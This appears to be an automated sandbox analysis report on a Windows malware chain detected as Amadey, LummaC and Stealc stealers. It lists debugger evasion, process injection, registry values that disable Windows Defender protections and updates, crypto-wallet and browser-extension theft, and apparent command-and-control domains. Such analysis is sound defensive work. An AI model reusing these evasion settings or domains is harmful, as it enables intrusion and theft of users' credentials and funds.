Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe

Code function: 3_2_007ACBF5 rdtsc

3_2_007ACBF5

Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe

Code function: 3_2_0061B7AA LdrInitializeThunk,

3_2_0061B7AA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00FF652B mov eax, dword ptr fs:[00000030h]		6_2_00FF652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00FFA302 mov eax, dword ptr fs:[00000030h]		6_2_00FFA302

Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: cc1af330ba.exe PID: 6488, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe

Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00FC70A0 CreateProcessA,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,VirtualFree,

6_2_00FC70A0

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Memory written: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.1370365008.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000003.1370365008.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000003.1370365008.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000003.1370365008.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000003.1370365008.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000003.1370365008.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000003.1370365008.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000003.1370365008.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: presticitpo.store
Source: wintoolsone64.exe, 00000012.00000002.2653395699.000000000205A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: servicedny.site
Source: wintoolsone64.exe, 00000012.00000002.2653395699.000000000205A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: authorisev.site
Source: wintoolsone64.exe, 00000012.00000002.2653395699.000000000205A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: faulteyotk.site
Source: wintoolsone64.exe, 00000012.00000002.2653395699.000000000205A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: dilemmadu.site
Source: wintoolsone64.exe, 00000012.00000002.2653395699.000000000205A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: contemteny.site
Source: wintoolsone64.exe, 00000012.00000002.2653395699.000000000205A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: goalyfeastz.site
Source: wintoolsone64.exe, 00000012.00000002.2653395699.000000000205A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: opposezmny.site
Source: wintoolsone64.exe, 00000012.00000002.2653395699.000000000205A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: seallysl.site

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2694008
Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 401000
Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 446000
Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 449000

Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe "C:\Users\user~1\AppData\Local\Temp\1001698001\8301009305.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe "C:\Users\user~1\AppData\Local\Temp\1001735001\de057a4668.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe "C:\Users\user~1\AppData\Local\Temp\1001776101\4264524541.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe "C:\Users\user~1\AppData\Local\Temp\1002431001\wintoolsone64.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe "C:\Users\user~1\AppData\Local\Temp\1002448001\9de8348ea3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user~1\AppData\Local\Temp\44111dbc49\axplong.exe"
Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe "C:\Users\user~1\AppData\Local\Temp\1001195001\cc1af330ba.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe "C:\Users\user~1\AppData\Local\Temp\1001196001\69f64d774a.exe"

Source: 8301009305.exe, 0000000C.00000002.2233411085.0000000000458000.00000040.00000001.01000000.0000000E.sdmp, axplong.exe, 0000000D.00000002.2263735341.0000000000378000.00000040.00000001.01000000.0000000F.sdmp, axplong.exe, 0000000E.00000002.2272113326.0000000000378000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: 6Program Manager
Source: skotes.exe, skotes.exe, 00000006.00000002.2642683430.00000000011BA000.00000040.00000001.01000000.0000000C.sdmp, BJD5F4VU6P78HSX8.exe, 00000017.00000002.2564207482.00000000003DA000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: Program Manager
Source: F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe, 00000003.00000002.1854115332.00000000007FF000.00000040.00000001.01000000.00000006.sdmp, de057a4668.exe, 0000000F.00000002.2382700630.000000000109F000.00000040.00000001.01000000.00000010.sdmp, de057a4668.exe, 00000013.00000002.2501288857.000000000109F000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: gProgram Manager
Source: 9de8348ea3.exe, 00000019.00000002.2646029841.0000000000C5B000.00000040.00000001.01000000.00000015.sdmp	Binary or memory string: YProgram Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00FDD3E2 cpuid

6_2_00FDD3E2

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002449001\90f56e27b8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002449001\90f56e27b8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe	Queries volume information: C:\Windows VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe	Queries volume information: C:\Windows\AppReadiness VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001172001\Set-up.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001172001\Set-up.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00FDCBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

6_2_00FDCBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00FC65E0 LookupAccountNameA,

6_2_00FC65E0

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: file.exe, 00000000.00000003.1673101508.00000000010F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: skotes.exe, 0000000B.00000003.2486073608.000000000197C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: qqqqqqqqqqqqqqqqamFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 23.2.BJD5F4VU6P78HSX8.exe.1e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.8301009305.exe.260000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.axplong.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.axplong.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.skotes.exe.fc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.axplong.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.fc0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.M20I1ZOZUN9VGSWFO63POXM.exe.fc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000002.2563974947.00000000001E1000.00000040.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1764901997.0000000000FC1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2232884858.0000000000261000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1866390833.0000000004960000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2192573063.0000000004AE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2641659878.0000000000FC1000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.2523206093.00000000052C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2271659332.0000000000181000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2223001037.0000000004850000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.1757220025.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1724002406.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2481124534.0000000005200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2630604720.0000000000181000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1798970839.0000000000FC1000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2263637802.0000000000181000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2231223206.0000000004950000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: skotes.exe PID: 4308, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: file.exe PID: 7444, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 26.2.cc1af330ba.exe.5a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001A.00000002.2630286475.00000000005A1000.00000040.00000001.01000000.00000016.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2613988811.0000000005000000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2643463076.000000000148C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: skotes.exe, 0000000B.00000003.2249357070.00000000019D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: llets/Electrum-LTC
Source: skotes.exe	String found in binary or memory: Wallets/ElectronCash
Source: file.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: 9de8348ea3.exe, 00000019.00000002.2631387587.00000000006D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 9de8348ea3.exe, 00000019.00000002.2631387587.0000000000694000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: file.exe	String found in binary or memory: Wallets/Exodus
Source: skotes.exe, 0000000B.00000003.2194128848.00000000019EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: a%\\Ethereum","m":["keys
Source: file.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
